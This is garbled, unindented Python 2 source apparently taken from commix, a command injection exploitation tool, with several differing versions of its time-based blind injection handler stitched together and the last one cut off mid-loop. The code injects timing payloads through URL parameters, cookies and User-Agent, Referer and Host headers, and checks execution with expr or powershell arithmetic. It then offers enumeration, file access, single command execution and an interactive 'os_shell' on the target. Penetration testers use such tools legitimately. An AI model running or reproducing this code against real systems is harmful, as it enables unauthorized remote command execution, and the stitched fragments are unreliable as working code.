gotshell = raw_input("\n(?) Do you want a Pseudo-Terminal shell? [Y/n] > ").lower()
if gotshell in settings.CHOISE_YES:
print ""
print "Pseudo-Terminal (type 'q' or use <Ctrl-C> to quit)"
while True:
try:
cmd = raw_input("Shell > ")
if cmd == "q":
sys.exit(0)
else:
# The main command injection exploitation.
# Cookie Injection
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
if menu.options.verbose:
print ""
if output != "" and check_how_long != 0 :
print "\n\n" + Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL
print "\n(*) Finished in "+ time.strftime('%H:%M:%S', time.gmtime(check_how_long)) +".\n"
else:
print ""
except KeyboardInterrupt:
print ""
sys.exit(0)
elif gotshell in settings.CHOISE_NO:
break
if menu.options.verbose:
sys.stdout.write("\r(*) Continue testing the "+ technique +"... ")
sys.stdout.flush()
else:
if gotshell == "":
gotshell = "enter"
print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
pass
break
if no_result == True:
if menu.options.verbose == False:
print ""
return False
else:
print ""
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
def tb_injection_handler(url, timesec, filename, http_request_method, url_time_response):
counter = 1
num_of_chars = 1
vp_flag = True
no_result = True
is_encoded = False
possibly_vulnerable = False
false_positive_warning = False
export_injection_info = False
how_long = 0
injection_type = "blind OS command injection"
technique = "time-based command injection technique"
if settings.VERBOSITY_LEVEL >= 1:
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... "
print settings.print_info_msg(info_msg)
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = settings.MAXLEN
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
warn_msg = "The '--url-reload' option is not available in " + technique + "."
print settings.print_warning_msg(warn_msg)
#whitespace = checks.check_whitespaces()
# Calculate all possible combinations
total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
for whitespace in settings.WHITESPACE:
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
# Check injection state
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
# If a previous session is available.
how_long_statistic = []
if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type):
try:
settings.TIME_BASED_STATE = True
cmd = shell = ""
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
checks.check_for_stored_tamper(payload)
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - timesec
except TypeError:
err_msg = "An error occurred while accessing session file ('"
err_msg += settings.SESSION_FILE + "'). "
err_msg += "Use the '--flush-session' option."
print settings.print_critical_msg(err_msg)
raise SystemExit()
if settings.RETEST == True:
settings.RETEST = False
from src.core.injections.results_based.techniques.classic import cb_handler
cb_handler.exploitation(url, timesec, filename, http_request_method)
if not settings.LOAD_SESSION:
num_of_chars = num_of_chars + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Define alter shell
alter_shell = menu.options.alter_shell
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
tag_length = len(TAG) + 4
for output_length in range(1, int(tag_length)):
try:
if alter_shell:
# Time-based decision payload (check if host is vulnerable).
payload = tb_payloads.decision_alter_shell(separator, TAG, output_length, timesec, http_request_method)
else:
# Time-based decision payload (check if host is vulnerable).
payload = tb_payloads.decision(separator, TAG, output_length, timesec, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = payload.replace(" ", whitespace)
# Perform payload modification
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
payload_msg = payload.replace("\n", "\\n")
print settings.print_payload(payload_msg)
# Check if defined "--verbose" option.
elif settings.VERBOSITY_LEVEL > 1:
info_msg = "Generating a payload for injection..."
print settings.print_info_msg(info_msg)
payload_msg = payload.replace("\n", "\\n")
sys.stdout.write(settings.print_payload(payload_msg) + "\n")
# Cookie header injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie header injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
how_long = tb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent HTTP header injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent HTTP header injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
how_long = tb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer HTTP header injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer HTTP header injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
how_long = tb_injector.referer_injection_test(url, vuln_parameter, payload)
# Host HTTP header injection
elif settings.HOST_INJECTION == True:
# Check if target host is vulnerable to host HTTP header injection.
vuln_parameter = parameters.specify_host_parameter(menu.options.host)
how_long = tb_injector.host_injection_test(url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom http header injection.
vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
how_long = tb_injector.custom_header_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
how_long, vuln_parameter = tb_injector.injection_test(payload, http_request_method, url)
# Statistical analysis in time responses.
how_long_statistic.append(how_long)
# Injection percentage calculation
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total * 1.0)),2))
if percent == 100 and no_result == True:
if not settings.VERBOSITY_LEVEL >= 1:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = ""
else:
if (url_time_response == 0 and (how_long - timesec) >= 0) or \
(url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
(url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :
# Time relative false positive fixation.
false_positive_fixation = False
if len(TAG) == output_length:
# Simple statical analysis
statistical_anomaly = True
if len(set(how_long_statistic[0:5])) == 1:
if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1:
statistical_anomaly = False
how_long_statistic = []
if timesec <= how_long and not statistical_anomaly:
false_positive_fixation = True
else:
false_positive_warning = True
# Identified false positive warning message.
if false_positive_warning:
warn_msg = "Unexpected time delays have been identified due to unstable "
warn_msg += "requests. This behavior may lead to false-positive results.\n"
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
while True:
if not menu.options.batch:
question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
sys.stdout.write(settings.print_question_msg(question_msg))
proceed_option = sys.stdin.readline().replace("\n","").lower()
else:
proceed_option = ""
if len(proceed_option) == 0:
proceed_option = "c"
if proceed_option.lower() in settings.CHOICE_PROCEED :
if proceed_option.lower() == "s":
false_positive_fixation = False
raise
elif proceed_option.lower() == "c":
timesec = timesec + 1
false_positive_fixation = True
break
elif proceed_option.lower() == "q":
raise SystemExit()
else:
err_msg = "'" + proceed_option + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
# Check if false positive fixation is True.
if false_positive_fixation:
false_positive_fixation = False
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - timesec
if false_positive_warning:
time.sleep(1)
randv1 = random.randrange(1, 10)
randv2 = random.randrange(1, 10)
randvcalc = randv1 + randv2
if settings.TARGET_OS == "win":
if alter_shell:
cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str(randv1) + " + " + str(randv2) + ")\""
else:
cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")"
else:
cmd = "expr " + str(randv1) + " %2B " + str(randv2) + ""
# Set the original delay time
original_how_long = how_long
# Check for false positive resutls
how_long, output = tb_injector.false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response)
if (url_time_response == 0 and (how_long - timesec) >= 0) or \
(url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
(url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :
if str(output) == str(randvcalc) and len(TAG) == output_length:
possibly_vulnerable = True
how_long_statistic = 0
if not settings.VERBOSITY_LEVEL >= 1:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = ""
else:
break
# False positive
else:
if not settings.VERBOSITY_LEVEL >= 1:
percent = str(float_percent)+ "%"
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
continue
else:
if not settings.VERBOSITY_LEVEL >= 1:
percent = str(float_percent)+ "%"
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
continue
if not settings.VERBOSITY_LEVEL >= 1:
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
except KeyboardInterrupt:
raise
except SystemExit:
raise
except EOFError:
err_msg = "Exiting, due to EOFError."
print settings.print_error_msg(err_msg)
raise
except:
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))
if str(float_percent) == "100.0":
if no_result == True:
if not settings.VERBOSITY_LEVEL >= 1:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
else:
percent = ""
else:
percent = str(float_percent) + "%"
print ""
# Print logs notification message
logs.logs_notification(filename)
#raise
else:
percent = str(float_percent) + "%"
break
# Yaw, got shellz!
# Do some magic tricks!
if (url_time_response == 0 and (how_long - timesec) >= 0) or \
(url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
(url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :
if (len(TAG) == output_length) and \
(possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level):
found = True
no_result = False
# Check injection state
settings.DETECTION_PHASE = False
settings.EXPLOITATION_PHASE = True
if settings.LOAD_SESSION:
possibly_vulnerable = False
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.LOAD_SESSION:
if not settings.VERBOSITY_LEVEL >= 1:
print ""
else:
checks.total_of_requests()
# Print the findings to terminal.
success_msg = "The"
if len(found_vuln_parameter) > 0 and not "cookie" in header_name :
success_msg += " " + http_request_method
success_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name
success_msg += found_vuln_parameter + " seems injectable via "
success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
print settings.print_success_msg(success_msg)
print settings.SUB_CONTENT_SIGN + "Payload: " + str(checks.url_decode(payload)) + Style.RESET_ALL
# Export session
if not settings.LOAD_SESSION:
shell = ""
session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level)
#possibly_vulnerable = False
else:
settings.LOAD_SESSION = False
new_line = False
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True:
while True:
if not menu.options.batch:
question_msg = "Do you want to enumerate again? [Y/n] > "
enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower()
else:
enumerate_again = ""
if len(enumerate_again) == 0:
enumerate_again = "y"
if enumerate_again in settings.CHOICE_YES:
tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
print ""
break
elif enumerate_again in settings.CHOICE_NO:
new_line = True
break
elif enumerate_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + enumerate_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.enumeration_options():
tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
print ""
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True:
print ""
while True:
if not menu.options.batch:
question_msg = "Do you want to access files again? [Y/n] > "
sys.stdout.write(settings.print_question_msg(question_msg))
file_access_again = sys.stdin.readline().replace("\n","").lower()
else:
file_access_again = ""
if len(file_access_again) == 0:
file_access_again = "y"
if file_access_again in settings.CHOICE_YES:
tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
break
elif file_access_again in settings.CHOICE_NO:
if not new_line:
new_line = True
break
elif file_access_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + file_access_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
# if not menu.enumeration_options() and not menu.options.os_cmd:
# print ""
tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
# Check if defined single cmd.
if menu.options.os_cmd:
cmd = menu.options.os_cmd
check_how_long, output = tb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
# Export injection result
tb_injector.export_injection_results(cmd, separator, output, check_how_long)
print ""
logs.print_logs_notification(filename, url)
raise SystemExit()
if not new_line :
print ""
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
if not menu.options.batch:
question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
sys.stdout.write(settings.print_question_msg(question_msg))
gotshell = sys.stdin.readline().replace("\n","").lower()
else:
gotshell = ""
if len(gotshell) == 0:
gotshell = "y"
if gotshell in settings.CHOICE_YES:
if not menu.options.batch:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
if false_positive_warning:
warn_msg = "Due to unexpected time delays, it is highly "
warn_msg += "recommended to enable the 'reverse_tcp' option.\n"
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
false_positive_warning = False
try:
# Tab compliter
if not readline_error:
readline.set_completer(menu.tab_completer)
# MacOSX tab compliter
if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
readline.parse_and_bind("bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind("tab: complete")
cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
if go_back and go_back_again == False:
break
if go_back and go_back_again:
return True
else:
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# The main command injection exploitation.
check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
# Export injection result
tb_injector.export_injection_results(cmd, separator, output, check_how_long)
if not menu.options.ignore_session :
session_handler.store_cmd(url, cmd, output, vuln_parameter)
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
print "\n" + Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL
# Update logs with executed cmds and execution results.
logs.executed_command(filename, cmd, output)
print ""
except KeyboardInterrupt:
raise
except SystemExit:
raise
except EOFError:
err_msg = "Exiting, due to EOFError."
print settings.print_error_msg(err_msg)
raise
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + gotshell + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
break
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
print ""
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
def tb_injection_handler(url, delay, filename, http_request_method,
url_time_response):
counter = 1
num_of_chars = 1
vp_flag = True
no_result = True
is_encoded = False
is_vulnerable = False
again_warning = True
false_positive_warning = False
export_injection_info = False
how_long = 0
how_long_statistic = 0
injection_type = "Blind Command Injection"
technique = "time-based injection technique"
if menu.options.verbose:
print settings.INFO_SIGN + "Testing the " + technique + "... "
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = settings.MAXLEN
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
print Fore.YELLOW + settings.WARNING_SIGN + "The '--url-reload' option is not available in " + technique + "." + Style.RESET_ALL
# Calculate all possible combinations
total = (len(settings.PREFIXES) * len(settings.SEPARATORS) *
len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
# If a previous session is available.
if settings.LOAD_SESSION and session_handler.notification(
url, technique):
cmd = shell = ""
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
url, http_request_method)
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - delay
if settings.RETEST == True:
settings.RETEST = False
from src.core.injections.results_based.techniques.classic import cb_handler
cb_handler.exploitation(url, delay, filename,
http_request_method)
if not settings.LOAD_SESSION:
num_of_chars = num_of_chars + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Define alter shell
alter_shell = menu.options.alter_shell
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(
random.choice(string.ascii_uppercase)
for num_of_chars in range(6))
tag_length = len(TAG) + 4
for output_length in range(1, int(tag_length)):
try:
if alter_shell:
# Time-based decision payload (check if host is vulnerable).
payload = tb_payloads.decision_alter_shell(
separator, TAG, output_length, delay,
http_request_method)
else:
# Time-based decision payload (check if host is vulnerable).
payload = tb_payloads.decision(
separator, TAG, output_length, delay,
http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
if menu.options.base64:
payload = base64.b64encode(payload)
# Check if defined "--verbose" option.
if menu.options.verbose:
print Fore.GREY + settings.PAYLOAD_SIGN + payload.replace(
"\n", "\\n") + Style.RESET_ALL
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(
menu.options.cookie)
how_long = tb_injector.cookie_injection_test(
url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(
menu.options.agent)
how_long = tb_injector.user_agent_injection_test(
url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(
menu.options.referer)
how_long = tb_injector.referer_injection_test(
url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom http header injection.
vuln_parameter = parameters.specify_custom_header_parameter(
settings.INJECT_TAG)
how_long = tb_injector.custom_header_injection_test(
url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
how_long, vuln_parameter = tb_injector.injection_test(
payload, http_request_method, url)
# Statistical analysis in time responses.
how_long_statistic = how_long_statistic + how_long
# Reset the how_long_statistic counter
if output_length == tag_length - 1:
how_long_statistic = 0
# Injection percentage calculation
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(
round(((num_of_chars * 100) / (total * 1.0)),
2))
if percent == 100 and no_result == True:
if not menu.options.verbose:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = ""
else:
if (url_time_response == 0 and (how_long - delay) >= 0) or \
(url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
(url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
# Time relative false positive fixation.
false_positive_fixation = False
if len(TAG) == output_length:
# Windows targets.
if settings.TARGET_OS == "win":
if how_long > (how_long_statistic /
output_length):
false_positive_fixation = True
else:
false_positive_warning = True
# Unix-like targets.
else:
if delay == 1 and (how_long_statistic == delay) or \
delay == 1 and (how_long_statistic == how_long) or \
delay > 1 and (how_long_statistic == (output_length + delay)) and \
how_long == delay + 1:
false_positive_fixation = True
else:
false_positive_warning = True
# Identified false positive warning message.
if false_positive_warning and again_warning:
again_warning = False
warning_msg = settings.WARNING_SIGN + "Unexpected time delays have been identified due to unstable "
warning_msg += "requests. This behavior which may lead to false-positive results."
sys.stdout.write("\r" + Fore.YELLOW +
warning_msg +
Style.RESET_ALL)
print ""
# Check if false positive fixation is True.
if false_positive_fixation:
false_positive_fixation = False
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - delay
randv1 = random.randrange(0, 1)
randv2 = random.randrange(1, 2)
randvcalc = randv1 + randv2
if settings.TARGET_OS == "win":
if alter_shell:
cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str(
randv1) + " + " + str(
randv2) + ")\""
else:
cmd = "powershell.exe -InputFormat none write (" + str(
randv1) + " + " + str(
randv2) + ")"
else:
cmd = "(" + str(
randv1) + " + " + str(
randv2) + ")"
# Check for false positive resutls
how_long, output = tb_injector.false_positive_check(
separator, TAG, cmd, prefix,
suffix, delay, http_request_method,
url, vuln_parameter, randvcalc,
alter_shell, how_long,
url_time_response)
if (url_time_response == 0 and (how_long - delay) >= 0) or \
(url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
(url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
if str(output) == str(
randvcalc) and len(
TAG) == output_length:
is_vulnerable = True
how_long_statistic = 0
if not menu.options.verbose:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = ""
else:
break
# False positive
else:
if not menu.options.verbose:
percent = str(float_percent) + "%"
sys.stdout.write(
"\r" + settings.INFO_SIGN +
"Testing the " + technique +
"... " + "[ " + percent + " ]")
sys.stdout.flush()
continue
else:
if not menu.options.verbose:
percent = str(float_percent) + "%"
sys.stdout.write("\r" +
settings.INFO_SIGN +
"Testing the " +
technique + "... " +
"[ " + percent + " ]")
sys.stdout.flush()
continue
if not menu.options.verbose:
sys.stdout.write("\r" + settings.INFO_SIGN +
"Testing the " + technique +
"... " + "[ " + percent +
" ]")
sys.stdout.flush()
except KeyboardInterrupt:
raise
except SystemExit:
raise
except:
break
break
# Yaw, got shellz!
# Do some magic tricks!
if (url_time_response == 0 and (how_long - delay) >= 0) or \
(url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
(url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
if (len(TAG) == output_length) and \
(is_vulnerable == True or settings.LOAD_SESSION and is_vulnerable == "True"):
found = True
no_result = False
if settings.LOAD_SESSION:
is_vulnerable = False
if settings.COOKIE_INJECTION == True:
header_name = " Cookie"
found_vuln_parameter = vuln_parameter
the_type = " HTTP header"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(
url)
else:
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0:
found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(
export_injection_info, filename,
injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(
vp_flag, filename, http_request_method,
vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.LOAD_SESSION:
print ""
# Print the findings to terminal.
print Style.BRIGHT + "(!) The (" + http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to " + injection_type + "." + Style.RESET_ALL
print " (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
print " (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title(
) + Style.RESET_ALL + ""
print " (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub(
"%20", " ", payload.replace(
"\n", "\\n")) + Style.RESET_ALL
if not settings.LOAD_SESSION:
shell = ""
session_handler.injection_point_importation(
url, technique, injection_type, separator,
shell, vuln_parameter, prefix, suffix, TAG,
alter_shell, payload, http_request_method,
url_time_response, delay, how_long,
output_length, is_vulnerable)
is_vulnerable = False
else:
settings.LOAD_SESSION = False
new_line = False
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True:
while True:
enumerate_again = raw_input(
"\n" + settings.QUESTION_SIGN +
"Do you want to enumerate again? [Y/n/q] > "
).lower()
if enumerate_again in settings.CHOICE_YES:
tb_enumeration.do_check(
separator, maxlen, TAG, cmd, prefix,
suffix, delay, http_request_method,
url, vuln_parameter, alter_shell,
filename, url_time_response)
print ""
break
elif enumerate_again in settings.CHOICE_NO:
new_line = True
break
elif enumerate_again in settings.CHOICE_QUIT:
sys.exit(0)
else:
if enumerate_again == "":
enumerate_again = "enter"
print Back.RED + settings.ERROR_SIGN + "'" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL + "\n"
pass
else:
if menu.enumeration_options():
tb_enumeration.do_check(
separator, maxlen, TAG, cmd, prefix,
suffix, delay, http_request_method, url,
vuln_parameter, alter_shell, filename,
url_time_response)
print ""
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True:
while True:
file_access_again = raw_input(
settings.QUESTION_SIGN +
"Do you want to access files again? [Y/n/q] > "
).lower()
if file_access_again in settings.CHOICE_YES:
tb_file_access.do_check(
separator, maxlen, TAG, cmd, prefix,
suffix, delay, http_request_method,
url, vuln_parameter, alter_shell,
filename, url_time_response)
break
elif file_access_again in settings.CHOICE_NO:
if not new_line:
new_line = True
break
elif file_access_again in settings.CHOICE_QUIT:
sys.exit(0)
else:
if file_access_again == "":
file_access_again = "enter"
print Back.RED + settings.ERROR_SIGN + "'" + file_access_again + "' is not a valid answer." + Style.RESET_ALL + "\n"
pass
else:
# if not menu.enumeration_options() and not menu.options.os_cmd:
# print ""
tb_file_access.do_check(separator, maxlen, TAG,
cmd, prefix, suffix, delay,
http_request_method, url,
vuln_parameter,
alter_shell, filename,
url_time_response)
# Check if defined single cmd.
if menu.options.os_cmd:
cmd = menu.options.os_cmd
check_how_long, output = tb_enumeration.single_os_cmd_exec(
separator, maxlen, TAG, cmd, prefix, suffix,
delay, http_request_method, url,
vuln_parameter, alter_shell, filename,
url_time_response)
# Export injection result
tb_injector.export_injection_results(
cmd, separator, output, check_how_long)
sys.exit(0)
if not new_line:
print ""
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
gotshell = raw_input(
settings.QUESTION_SIGN +
"Do you want a Pseudo-Terminal? [Y/n/q] > "
).lower()
if gotshell in settings.CHOICE_YES:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
try:
# Tab compliter
if not readline_error:
readline.set_completer(
menu.tab_completer)
# MacOSX tab compliter
if getattr(
readline, '__doc__', ''
) is not None and 'libedit' in getattr(
readline, '__doc__', ''):
readline.parse_and_bind(
"bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind(
"tab: complete")
